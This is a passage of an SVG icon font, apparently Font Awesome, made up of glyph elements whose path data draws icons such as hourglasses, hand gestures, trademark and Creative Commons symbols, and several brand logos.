d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
    <glyph glyph-name="_558" unicode="&#xf253;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_559" unicode="&#xf254;" 
d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
    <glyph glyph-name="_560" unicode="&#xf255;" 
d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
q72 69 174 69z" />
    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
q0 -42 -23 -78t-61 -53l-310 -141h91z" />
    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
v-384h32z" />
    <glyph glyph-name="_566" unicode="&#xf25b;" 
d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
q0 -53 37.5 -90.5t90.5 -37.5h668z" />
    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
q13 0 22 -8.5t10 -20.5z" />
    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
    <glyph glyph-name="_574" unicode="&#xf264;" 
d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
t191 -286t71 -348z" />
    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
" />
    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
q-68 175 -180 287z" />
    <glyph glyph-name="_584" unicode="&#xf26e;" 
d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
